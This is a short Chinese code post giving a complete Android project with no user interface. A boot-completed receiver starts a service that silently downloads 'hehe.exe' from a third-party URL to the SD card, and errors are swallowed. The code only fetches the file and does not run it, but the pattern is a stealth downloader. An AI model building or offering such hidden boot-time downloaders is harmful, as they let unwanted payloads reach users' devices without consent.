android 无界面通过开机上载

android 无界面通过开机下载

android 无界面通过开机下载

 

FileDownLoadReceiver

package com.wjl.download;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;

public class FileDownLoadReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
	
	//	Toast.makeText(context, "启动服务", 1).show();
	Intent s = new Intent(context, DownLoadServices.class);
	context.startService(s);
	
	}
}

 

DownLoadServices

package com.wjl.download;

import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;

import android.app.Service;
import android.content.Intent;
import android.os.IBinder;

public class DownLoadServices extends Service {

	@Override
	public IBinder onBind(Intent intent) {
		
		return null;
	}

    @Override
    public void onCreate() {
        super .onCreate();
        
        String url ="http://down.hotxz.com/soft/?softid=10047&downid=69&id=10166";
		String savaSrc = "/sdcard/wjl/";
		String saveName = "hehe.exe";
		download(url, savaSrc, saveName);
       
       
    }


    public void download(final String url,final String savaSrc,final String saveName){
    	 new Thread(new Runnable() {
			
			private int size;

			@Override
			public void run() {
				try{
			    	
					URL sourceUrl = new URL(url);
						HttpURLConnection conn = (HttpURLConnection) sourceUrl
						.openConnection();

						
				//int responseCode = conn.getResponseCode();

				//if (responseCode == 200) {
					File savePath = new File(savaSrc);
					if (!savePath.exists()) {
						savePath.mkdirs();
					}
					File saveFile = new File(savePath+"/"+ saveName);
					if ( saveFile.exists()) {
						saveFile.delete();
						saveFile.createNewFile();
					}else{
						saveFile.createNewFile();
					}
					int fileSize = conn.getContentLength();
					InputStream inputStream = conn.getInputStream();
					FileOutputStream fos = new FileOutputStream(saveFile);
					byte buf[] = new byte[1024];
				
					do {
						int numread = inputStream.read(buf);
						if (numread <= 0) {
							break;
						}
						 size+=numread;
						fos.write(buf, 0, numread);

					} while (true);
					
					inputStream.close();
					fos.close();
				         
				 }catch (Exception e) {
				}  	
			}
		}).start();
    	
    }	
  
    
}

 

AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
      package="com.wjl.download"
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
       
        
         <service android:name ="DownLoadServices" /> 
		
		 <receiver android:name=".FileDownLoadReceiver">
        	<intent-filter>
        		<action android:name="android.intent.action.BOOT_COMPLETED"/>
                <category android:name="android.intent.category.HOME" />
        	</intent-filter>
        </receiver>
        
         <receiver android:name=".FileDownLoadReceiver">
        	<intent-filter>
        		<action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT" />
        	</intent-filter>
        </receiver>
	</application>
	
    <uses-sdk android:minSdkVersion="5" />
	  <!-- 在SDCard中创建与删除文件权限 -->
	<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
	<!-- 往SDCard写入数据权限 -->
	<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
	<!-- 访问internet权限 -->
	<uses-permission android:name="android.permission.INTERNET"/>
</manifest>